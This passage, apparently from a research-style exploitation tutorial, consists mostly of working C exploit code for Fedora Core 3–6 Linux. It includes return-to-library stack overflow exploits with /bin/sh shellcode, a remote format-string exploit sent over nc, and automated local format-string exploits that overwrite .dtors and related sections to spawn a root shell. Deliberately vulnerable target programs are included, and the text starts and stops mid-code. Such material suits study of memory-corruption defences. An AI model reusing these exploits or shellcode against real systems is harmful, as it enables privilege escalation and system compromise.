"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08" /* ret code number: 37 */ "\x08\x23\x7a", /* execle() */ "./sh", /* first argument of execle(): ./sh */ 0}; /* second argument of execle(): 0x00000000 */ /* execle("./sh",0x00000000,0x00000000); */ execve("./vuln",arguments,environs); } -- ------[ 6.3.3 - execlp() local exploit If "/bin/ls -al" is executed normally, then the attack is successful. You can change the command whatever you want. It can execute a command without sh program at 6.3. Usage of this exploit is same as exploit that uses execl(). -- 0x82-x_execlp.c -- /* 0x82-x_execlp.c */ int main() { char *environs[]={ "/bin/ls", /* environ0: /bin/ls */ "ls", /* environ1: ls */ "-al", /* environ2: -al */ 0}; char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\x78\x29\x7a", /* execlp() */ 0}; execve("./vuln",arguments,environs); } -- ------[ 6.3.4 - execv() local exploit This is a code that uses sh program at 6.3. You should put null code directly not the pointer into second argument of execv(). This function needs only two arguments, so, I think, it is a piece of cake for you. :-) -- 0x82-x_execv.c -- /* 0x82-x_execv.c */ int main() { char *environs[]={ "./sh", /* environ0: ./sh */ 0}; /* ** execv()'s argument: ** -- ** execv("./sh",0x00000000); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\xd4\x22\x7a", /* execv() */ 0}; execve("./vuln",arguments,environs); } -- ------[ 6.3.5 - execvp() local exploit This is a code that uses sh program at 6.3. You should put null code directly not the pointer into second argument of execv(). This function needs only two arguments. Same as above. :-) -- 0x82-x_execvp.c -- /* 0x82-x_execvp.c */ int main() { char *environs[]={ "./sh", /* environ0: ./sh */ 0}; /* ** execvp()'s argument: ** -- ** execvp("./sh",0x00000000); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\xa0\x25\x7a", /* execvp() */ 0}; execve("./vuln",arguments,environs); } -- ------[ 6.3.6 - execve() local exploit This is a code introduced at 3.4 for debugging. execve() needs null code pointer for the second and the third argument. Surely, direct input of null code (0x0000000) will work same. -- 0x82-x_execve.c -- /* 0x82-x_execve.c */ int main() { char *environs[]={ "./sh", /* environ0: ./sh */ "\x00", /* environ1: 0x00000000 */ "\x00", /* environ2: 0x00000000 */ "\x00", /* environ3 */ "\x00", /* environ4 */ "\x00", /* environ5 */ 0}; /* ** execve()'s argument: ** -- ** execve("./sh",[null code pointer],[null code pointer]); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08" /* ret code number: 38 */ "\xac\x21\x7a", /* execve() */ 0}; execve("./vuln",arguments,environs); } -- ----[ 6.4 - library shellcode stack overflow exploit This is tested on F/C 3. It works fine with FC 4,5 and 6. you can find address of plt copy function by doing this. -- [x82@localhost tmp]$ objdump -d vuln | grep strcpy 080482b0 : 8048393: e8 18 ff ff ff call 80482b0 [x82@localhost tmp]$ -- ------[ 6.4.1 - Test exploit with strcpy function example Code of target program and exploit. -- strcpy.c -- int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); } -- -- 0x82-x_strcpy.c -- int main() { char *env[]={ // environment "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b" "\xcd\x80", /* shellcode */ 0}; char *args[]={ "./strcpy", "00001111dddd" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08" "\x9c\x83\x04\x08\x9c\x83\x04\x08" /* ret code */ "\xb0\x82\x04\x08" /* strcpy plt */ "\x9c\x83\x04\x08" /* ret code */ "\x30\x55\x23\x00", /* library location: 0x235530 */ 0}; execve("./strcpy",args,env); } -- ------[ 6.4.2 - Test exploit with sprintf function example Code of target program and exploit. -- sprintf vuln: -- int main(int argc,char *argv[]) { char buf[8]; sprintf(buf,"%s",argv[1]); } -- -- sprintf exploit: -- int main() { char *env[]={ // environment "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b" "\xcd\x80", /* shellcode */ 0}; char *args[]={ "./sprintf", "00001111dddd" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08" "\xa5\x83\x04\x08\xa5\x83\x04\x08" /* ret code */ "\xb4\x82\x04\x08" /* sprintf plt */ "\xa5\x83\x04\x08" /* ret code */ "\x30\x55\x23\x00", /* library location: 0x235530 */ 0}; execve("./sprintf",args,env); } -- ----[ 6.5 - do_system() remote format string exploit This exploit code is made in hurry for POC 2006 conference. It is for F/C 4. -- rvuln.c -- #include int main() { char buf[256]; fgets(buf,sizeof(buf)-1,stdin); printf(buf); } -- I have made rvuln program as a tfido service deamon by setting xinetd. simple exploit script is below. -- 0x82-remote_do_system.sh -- #!/bin/sh # # Proof-of-Conept do_system remote exploit # by Xpl017Elz # # sh-3.00# objdump -h remote_vuln | grep dtors # 16 .dtors 00000008 080494d4 080494d4 000004d4 2**2 # # 0x00749f3c # 0x003b6873 "sh;" # (printf "\xd8\x94\x04\x08\xda\x94\x04\x08\xdc\x94\x04\x08\xde\x94\x04\x08\ %%40748x%%10\$n%%24888x%%11\$n%%26623x%%12\$n%%38856x%%13\$n";cat)|nc localhost 60177 # # do_system: # 0x9f3c - 16 = 40748 # 0x10074 - 0x9f3c = 24888 # # sh;: # 0x6873 - 0x0074 = 26623 # 0x1003b - 0x6873 = 38856 # -- ----[ 6.6 - p section overwrite local format string exploit Tested on F/C 6. -- vuln.c -- #include int main(int argc,char **argv){ char buf[256]; if(argc<2){ exit(-1); } strncpy(buf,argv[1],sizeof(buf)-1); printf(buf); } -- Exploit code moves __DTOR_END__ address to an arbitrarily place on heap by changing p section. Main idea of exploit is same as __do_global_dtors_aux() + setuid() + do_system() attack technique. -- 0x82-p_section_overwrite.c -- /* ** ** Code name: 0x82-p_section_overwrite.c ** Description: Fedora Core Linux 6 based format string exploit (POC-local) ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include #define COUNT_FILE "0x82-c0unt" /* global */ int sflag=0; unsigned long __p_section=0; unsigned long __completed=0; unsigned long __do_global_dtors_aux_addr=0; /* Fedora Core release 6 (Zod) default */ unsigned long null_heap=0x08049804; /* ** (gdb) x setuid ** 0x19e690 : 0x53e58955 ** (gdb) x do_system ** 0x1457d0 : 0x53565755 ** (gdb) */ unsigned long setuid_addr=0x19e690; unsigned long do_system_addr=0x1457d0; unsigned long shell_cmd=0x3b7078; int count=0; void banrl() { fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n"); } void sig_exit() { printf(" [-] exploit end.\n\n"); unlink(COUNT_FILE); exit(-1); } void end_exploit() { printf(" [-] exploit failed.\n\n"); exit(-1); } int make_shell() { FILE *fp; if((fp=fopen("xp.c","w"))==NULL) { fprintf(stderr," [-] shell make failed.\n"); exit(-1); } fprintf(fp, "#include \n" "int main(){\n" " FILE *fp;\n" " char tbuf[16];\n" " int old_count=0;\n" " if(getuid()==0){\n" " unlink(\"xp.c\");\n" " unlink(\"xp\");\n" " unlink(\"%s\");\n" " execl(\"/bin/sh\",\"/bin/sh\",0);\n" " } else {\n" " if((fp=fopen(\"%s\",\"r\"))==NULL){\n" " exit(-1);\n" " }\n" " memset((char *)tbuf,0,sizeof(tbuf));\n" " fgets(tbuf,sizeof(tbuf)-1,fp);\n" " fclose(fp);\n" " old_count=atoi(tbuf);\n" " if((fp=fopen(\"%s\",\"w\"))==NULL){\n" " exit(-1);\n" " }\n" " fprintf(fp,\"%%d\\n\",old_count+1);\n" " fclose(fp);\n" " }\n" "}\n",COUNT_FILE,COUNT_FILE,COUNT_FILE); fclose(fp); system("gcc -o xp xp.c 2>/dev/null 1>/dev/null >/dev/null"); } int main(int argc,char *argv[]) { char tbuf[16]; int ret=0; FILE *fp; (void)banrl(); if(argc<2) { fprintf(stdout," Usage: %s [target program]\n" " example> %s ./vuln\n\n",argv[0],argv[0]); exit(-1); } signal(SIGINT,sig_exit); signal(SIGTSTP,sig_exit); unlink(COUNT_FILE); if((fp=fopen(COUNT_FILE,"w"))==NULL) { fprintf(stderr," [-] count write file error\n\n"); exit(-1); } fprintf(fp,"%d\n",count); fclose(fp); chmod(COUNT_FILE,0777); if((ret=find_sflag_poc(argv[1]))==-1) { end_exploit(); } if((ret=find_section_addr(argv[1]))==-1) { end_exploit(); } (int)make_shell(); #define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" setenv("PATH",PATH,strlen(PATH)); while(1) { printf(" [*] __do_global_dtors_aux() call count: %d\n",count); do_exploit(count,argv[1]); /* exploit success check */ if((fp=fopen("xp","r"))==NULL) { fprintf(stdout," [*] exploit successfully.\n\n"); exit(-1); } else fclose(fp); /* count check */ if((fp=fopen(COUNT_FILE,"r"))==NULL) { fprintf(stdout," [-] count read file error.\n\n"); exit(-1); } memset((char *)tbuf,0,sizeof(tbuf)); fgets(tbuf,sizeof(tbuf)-1,fp); fclose(fp); count=atoi(tbuf); /* count refresh */ } return 0; } int do_exploit(int count,char *p) { int i=0; int j=0; int pid=0; int t_sflag=sflag; int t_null_heap=null_heap; int null_heap_head=0; int null_heap_tail=0; int __do_global_dtors_aux_head=0; int __do_global_dtors_aux_tail=0; int setuid_head=0; int setuid_tail=0; int do_system_head=0; int do_system_tail=0; int shell_cmd_head=0; int shell_cmd_tail=0; unsigned char buf[1024]; unsigned char fmt[512]; memset(buf,0,sizeof(buf)); memset(fmt,0,sizeof(fmt)); null_heap_head=(null_heap>>16)&0xffff; null_heap_tail=(null_heap>>0)&0xffff; __do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff; __do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff; setuid_head=(setuid_addr>>16)&0xffff; setuid_tail=(setuid_addr>>0)&0xffff; do_system_head=(do_system_addr>>16)&0xffff; do_system_tail=(do_system_addr>>0)&0xffff; shell_cmd_head=(shell_cmd>>16)&0xffff; shell_cmd_tail=(shell_cmd>>0)&0xffff; // make retloc *(long *)&buf[i]=__p_section+0; /* null_heap */ i+=4; *(long *)&buf[i]=__p_section+2; i+=4; *(long *)&buf[i]=__completed+0; /* null */ i+=4; *(long *)&buf[i]=__completed+2; i+=4; for(j=0;j:\" | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __do_global_dtors_aux address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __do_global_dtors_aux_addr=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"objdump -d %s | " "grep -A 4 \"__do_global_dtors_aux>:\" | " "tail -1 | awk -F\",\" {'print $2'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] completed section error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __completed=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"objdump -d %s | " "grep -A 8 \"__do_global_dtors_aux>:\" | " "tail -1 | awk -F\",\" {'print $2'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] p section error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __p_section=strtoul(buf,0,0); printf(" [*] __do_global_dtors_aux: %p\n" " [*] p section: %p\n" " [*] completed section: %p\n",__do_global_dtors_aux_addr, __p_section,__completed); return 0; } int find_sflag_poc(char *p) { int i; char buf[256]; FILE *fp; memset(buf,0,sizeof(buf)); printf(" [+] find sflag number.\n"); for(i=0;i<200;i++) { sprintf(buf,"%s AAAA.%%%d\\$x",p,i); if((fp=popen(buf,"r"))==NULL) { printf(" [-] %s execute error\n",p); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); if(strstr(buf,"AAAA.41414141")) { sflag=i; printf(" [*] sflag: %d\n",sflag); break; } } return 0; } -- ----[ 6.7 - __do_global_dtors_aux() + exec family local format string exploit You will find that size of attack code is depend on the version of each operation system. It is because, on F/C 3 and 4, the second argument of execv() could have null (0x0000000) without adding 16bytes through __do_global_dtors_aux(). So, it is possible to attack with only 8bytes of attack code. As a matter of course, on F/C 5 and 6, we try 12bytes attack with __do_global_dtors_aux() + __do_global_dtors_aux()+27 + execv function as we studied. -- vuln1.c -- #include /* case #1 */ int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); printf(buf); return 0; } -- -- vuln2.c -- #include /* case #2 */ int main(int argc,char *argv[]) { (int)func(argv[1]); } int func(char *p) { char buf[100]; strncpy(buf,p,100); printf(buf); printf("\n"); printf("\n"); } -- -- 0x82-dtors_execv_ex.c -- /* ** ** Code name: 0x82-dtors_execv_ex.c ** Description: Fedora Core Linux 6 based format string exploit (POC-local) ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include /* global */ int sflag=0; int type=3; unsigned long __dtors_end__=0; unsigned long call_edx_next=0; unsigned long __do_global_dtors_aux_addr=0; unsigned char __do_global_dtors_aux_ret_code[256]; struct os_t { int num; char *os; int overwrite_type; unsigned long execv_addr; }; struct os_t plat[]={ { 0,"Fedora Core release 3 (Heidelberg)",8,0xf6f415d0 /* It's bad ! */ }, { 1,"Fedora Core release 4 (Stentz)",8,0x7a22d4 }, { 2,"Fedora Core release 5 (Bordeaux)",12,0xc3541c }, { 3,"Fedora Core release 6 (Zod)",12,0x19dd60 }, { 4,NULL,0,0x0 } }; unsigned long execv_addr=0; void banrl() { fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n"); } void sig_exit() { printf(" [-] exploit end.\n\n"); exit(-1); } void end_exploit() { printf(" [-] exploit failed.\n\n"); exit(-1); } int make_shell() { FILE *fp; if((fp=fopen("sh.c","w"))==NULL) { fprintf(stderr," [-] shell make failed.\n"); exit(-1); } fprintf(fp, "#include \n" "int main(){\n" " unlink(\"sh\");\n" " unlink(\"sh.c\");\n" " unlink(\"%s\");\n" " setuid(geteuid());\n" " setgid(getegid());\n" " setreuid(geteuid(),geteuid());\n" " setregid(getegid(),getegid());\n" " execl(\"/bin/sh\",\"sh\",0);\n" "}\n",__do_global_dtors_aux_ret_code); fclose(fp); system("gcc -o sh sh.c 2>/dev/null 1>/dev/null >/dev/null"); symlink("sh",__do_global_dtors_aux_ret_code); return 0; } int main(int argc,char *argv[]) { FILE *fp; int ret=0; (void)banrl(); if(argc<2) { fprintf(stdout," Usage: %s [target program] [os type num]\n" " example> %s ./vuln 3 (default)\n\n" " type num> 0: FC3.\n" " 1: FC4.\n" " 2: FC5.\n" " 3: FC6. (default)\n\n",argv[0],argv[0]); exit(-1); } if(argc==3) { type=atoi(argv[2]); } execv_addr=plat[type].execv_addr; printf(" [+] execv address: %p\n",execv_addr); signal(SIGINT,sig_exit); signal(SIGTSTP,sig_exit); if((ret=find_sflag_poc(argv[1]))==-1) { end_exploit(); } if((ret=find_addr(argv[1]))==-1) { end_exploit(); } if((ret=find_execute_command(argv[1]))==-1) { end_exploit(); } (int)make_shell(); #define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" setenv("PATH",PATH,strlen(PATH)); while(1) { do_exploit(argv[1]); /* exploit success check */ if((fp=fopen("sh","r"))==NULL) { fprintf(stdout," [*] exploit successfully.\n\n"); exit(-1); } else fclose(fp); } return 0; } int do_exploit(char *p) { int i=0; int j=0; int pid=0; int t_sflag=sflag; int __do_global_dtors_aux_head=0; int __do_global_dtors_aux_tail=0; int call_edx_next_head=0; int call_edx_next_tail=0; int execv_head=0; int execv_tail=0; unsigned char buf[1024]; unsigned char fmt[512]; memset(buf,0,sizeof(buf)); memset(fmt,0,sizeof(fmt)); __do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff; __do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff; call_edx_next_head=(call_edx_next>>16)&0xffff; call_edx_next_tail=(call_edx_next>>0)&0xffff; execv_head=(execv_addr>>16)&0xffff; execv_tail=(execv_addr>>0)&0xffff; // make retloc *(long *)&buf[i]=__dtors_end__+0; /* __do_global_dtors_aux() */ i+=4; *(long *)&buf[i]=__dtors_end__+2; i+=4; *(long *)&buf[i]=__dtors_end__+4; /* __do_global_dtors_aux()+27 */ i+=4; *(long *)&buf[i]=__dtors_end__+6; i+=4; *(long *)&buf[i]=__dtors_end__+8; /* execv() */ i+=4; *(long *)&buf[i]=__dtors_end__+10; i+=4; // make format string if(plat[type].overwrite_type==8) { /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-strlen(buf), t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } else if(plat[type].overwrite_type==12) { /* __do_global_dtors_aux() */ sprintf(fmt,"%%%ux%%%d$n%%%ux%%%d$n", __do_global_dtors_aux_tail-strlen(buf), t_sflag+0, (0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail, t_sflag+1); t_sflag+=2; /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-__do_global_dtors_aux_head, t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } /* execv() */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", execv_tail-call_edx_next_head, t_sflag+0, (0x10000+execv_head)-execv_tail, t_sflag+1); t_sflag+=2; strcat(buf,fmt); if((pid=fork())==0) { execl(p,p,buf,0); } wait(&pid); return 0; } int find_addr(char *p) { char buf[256]; FILE *fp; memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep \"__do_global_dtors_aux>:\" | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __do_global_dtors_aux address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __do_global_dtors_aux_addr=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep -A 1 \"*%%edx\" | " "tail -1 | awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] call *%edx next address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); call_edx_next=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -h %s | grep .dtors | " "awk -F\" \" {'print $4'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __dtors_end__ section error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __dtors_end__=strtoul(buf,0,0); __dtors_end__+=0x4; printf(" [*] __do_global_dtors_aux(): %p\n" " [*] __do_global_dtors_aux()+27: %p\n" " [*] __dtors_end__ section: %p\n", __do_global_dtors_aux_addr,call_edx_next,__dtors_end__); return 0; } int find_sflag_poc(char *p) { int i; char buf[256]; FILE *fp; printf(" [+] find sflag number.\n"); for(i=0;i<200;i++) { memset(buf,0,sizeof(buf)); sprintf(buf,"%s AAAA.%%%d\\$x",p,i); if((fp=popen(buf,"r"))==NULL) { printf(" [-] %s execute error\n",p); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); if(strstr(buf,"AAAA.41414141")) { sflag=i; printf(" [*] sflag: %d\n",sflag); return 0; } } return -1; } int find_execute_command(char *p) { unsigned char buf[256]; unsigned char code[16]; FILE *fp; int j,z; memset((char *)code,0,sizeof(code)); memset((char *)buf,0,sizeof(buf)); sprintf(buf,"objdump -d %s | " "grep *%%edx -A 30 | " "grep \\$0x0,%%eax -B 16 | " "awk -F\"\\t\" {'print $2'} | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf("error\n"); exit(-1); } j=z=0; memset((char *)buf,0,sizeof(buf)); while(fgets(buf,sizeof(buf)-1,fp)) { for(j=0;j int main(int argc,char *argv[]) { char ppp[4096]; strncpy(ppp,argv[1],sizeof(ppp)-1); printf(ppp); } -- Makefile of exploit: -- 0x82-library_terror/Makefile -- all: $(CC) -o part_one part_one.c $(CC) -o part_two part_two.c $(CC) -o printf printf.c @chmod 4755 printf clean: rm -f printf part_one part_two -- Exploit is splited into part 1 and 2. -- 0x82-library_terror/part_one.c -- /* ** ** Description: -- ** Fedora Core Linux 4,5 based shellcode format string POC exploit ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include u_long __get_dtors(char *p); u_long __get_library(); void prog_segv() { printf("Segfault!\n"); exit(-1); } /* Ctrl + C & Z interrupt */ void sigtstp_f() { exit(-1); } int find_now_stack(char *p) { int i; FILE *fp; char buf[256]; printf("find stack...\n"); fflush(stdout); for(i=1;i<3000;i++) { printf("#%d\r",i); memset(buf,0,sizeof(buf)); sprintf(buf,"%s \"\x82\x82\x82\x82\"#%%%d\\$x#",p,i); fp=popen(buf,"r"); memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); if(strstr(buf,"#82828282#")) { return i; break; } } return -1; } int main(int argc,char *argv[]) { int a=0; int i=0; int j=0; FILE *fp; pid_t pid; int out[2],in[2]; char buf[4096]; char align_buf[12]; int sflag=0; (void)b(); signal(SIGSEGV,prog_segv); signal(SIGTSTP,sigtstp_f); signal(SIGINT,sigtstp_f); if(argc<2) { printf("Usage: %s [target program path]\n",argv[0]); exit(-1); } printf("Start exploit part #1\n"); sflag=find_now_stack(argv[1]); if(sflag==-1) { printf("not found now stack\n"); exit(-1); } printf("gap: %d\n",sflag); printf("find exploit arguments...\n"); for(a=2;a<=4;a++) { memset(align_buf,0,sizeof(align_buf)); for(i=0;i.\n"); printf("--\n\n"); } /* eoc */ -- -- 0x82-library_terror/part_two.c -- /* ** ** Description: -- ** Fedora Core Linux 4,5 based shellcode format string POC exploit ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include /* Ctrl + C & Z interrupt */ void sigtstp_f() { exit(-1); } int main(int argc,char *argv[]) { long shellcode[]={ 0xc031,0x17b0, /* setuid(0); */ 0xdb31,0x80cd, 0xc031,0x6850, /* 24byte shellcode */ 0x2f6e,0x6873, 0x2f68,0x622f, 0x8969,0x99e3, 0x5352,0xe189, 0x0bb0,0x80cd, 0x0000}; int i; int j; int sflag=0; char buf[0xffff]; char align_buf[12]; char atk_head[12]; char args_addr[4096]; unsigned long dtors_addr; unsigned long libc_addr; int retaddr_f,retaddr_s; unsigned char libc_buf[12]; signal(SIGTSTP,sigtstp_f); signal(SIGINT,sigtstp_f); if(argc<7) { printf("Usage: %s [target path] [$-flag] [pad size] [.dtors] [library] [ret sflag]\n",argv[0]); exit(-1); } printf("Start exploit part #2\n"); printf("Input Any key..."); fflush(stdout); getchar(); j=atoi(argv[2]); /* $-flag */ memset(align_buf,0,sizeof(align_buf)); for(i=0;i>16); retaddr_s=((libc_addr&0x0000ffff)>>0); memset(libc_buf,0,sizeof(libc_buf)); *(long *)&libc_buf[0]=libc_addr; sflag=atoi(argv[6]); printf("dtors addr: %p\n",dtors_addr); printf("libc addr: %p\n",libc_addr); while(1) { memset(buf,0,sizeof(buf)); memset(atk_head,0,sizeof(atk_head)); memset(args_addr,0,sizeof(args_addr)); i=0; *(long *)&atk_head[i]=dtors_addr; 